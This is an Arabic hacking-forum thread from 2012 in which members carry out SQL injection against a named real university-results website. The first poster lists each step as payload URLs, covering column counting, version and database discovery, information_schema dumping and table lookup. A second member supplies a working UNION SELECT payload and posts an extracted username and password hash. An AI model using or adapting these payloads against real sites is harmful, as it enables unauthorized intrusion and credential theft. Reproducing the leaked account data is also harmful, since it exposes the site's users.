واجهتني مشكلة في استخراج اليوزر والباس بعد الحقن في هذا الموقع

qasim · 05-25-2012, 12:16 PM

السلام عليكم ايها الاحبة

اليوم كان لي اول موقع اطبق فيه دورة الحقن المتقدم للمبدع الاخ نورالدين

وطبقت في هالموقع ونجحت بفضل الله ومن ثم بفضل الاخ نورالدين ووصلت الى اسم الجدول ولكن

في المرحلة الاخيرة لاستخراج اليوزر والباس

لم استطع اظهارهما

فاجوا من الاخوة المساعده والتفصيل في سبب عدم ظهورهما في المرحلة النهائية

http://varsitycampus.com/results/sin...st.php?id=1289' UNION /*!SELECT*/+1,2,group_concat(users,0x3a,username),4,5,6,7,8,9 ,10+from+varsityc_db1.users-- -

المصدر: :: vBspiders Professional Network ::

Vspan style="font-weight: bold; color: #006400;"Cl[hf:VLspanC ,h[ijkd la;gm td hsjovh[ hgd,.v ,hgfhs fu] hgprk i`h hgl,ru

aircrack -ng · 05-25-2012, 12:47 PM

تفضل
طريقتك مو صحيحه وهاذيك الطريقه تنعمل لما تكون اكثر من قاعده والاستعلام مو متثل ماانت كاتبه

تفضل الحقنه

انسخ كل شيء وحطه بالمتصفح

كود PHP:

  http://varsitycampus.com/admission/single_post.php?id=1466'+and+1=0 UNION /*!SELECT*/ 1,2,/*!CONCAT*/(username,0x3a,id,0x3a,password),4,5,6,7,8,9,10+from+users-- ///vbspiders hackers

انسخ كل الحقنه وراح يضهر
اليوزر والباس
snayeem

375d93117c5c761b1cfba4c47f285074

qasim · 05-25-2012, 01:01 PM

حياك الله ايها المكرم وبارك الله في مسعاك

لكن اخي لم تظهر اليوزر والباس

ما زالت المشكله

سوف اشرح اخي الكريم الطريقه التى اتبعتها

http://varsitycampus.com/admission/s...php?id=1466%27

ظهر الموقع مصاب

ومن ثم اظهار عدد الاعمدة المصابة:

http://varsitycampus.com/admission/s...st.php?id=1466' order by 10-- -

عدد الاعمدة المصابة = 10

ومن ثم اظهرت العمود المصاب من خلال هذا الامر:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10-- -

ومن ثم اظهرت اصدار القاعدة :

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,version(),4,5,6,7,8,9,10-- -

5.5.21-55

,ومن ثم استخرجت اسم القاعدة:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,database(),4,5,6,7,8,9,10-- -

varsityc_db1

ومن ثم استعملت هذا الامر حتى استخرج معلومات السيكما:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns-- -

CHARACTER_SETS:CHARACTER_SET_NAME:information_sche ma

ومن ثم استخرجت اسم الجدول:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns+where +column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)-- -

ظهر لي جدولين..السؤال اي واحد اخذ

users:password:varsityc_db1

wallusers:mem_pass:varsityc_db1

ومن ثم شفرت اسم الجدول اللي هو users

,وعملت هذا الامر:

0x7573657273

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns+where +table_name=0x7573657273-- -

ظهرت لي هذه المعلومات..

HSC Admission 2012 -13 session Rules & Procedure users:id:varsityc_db1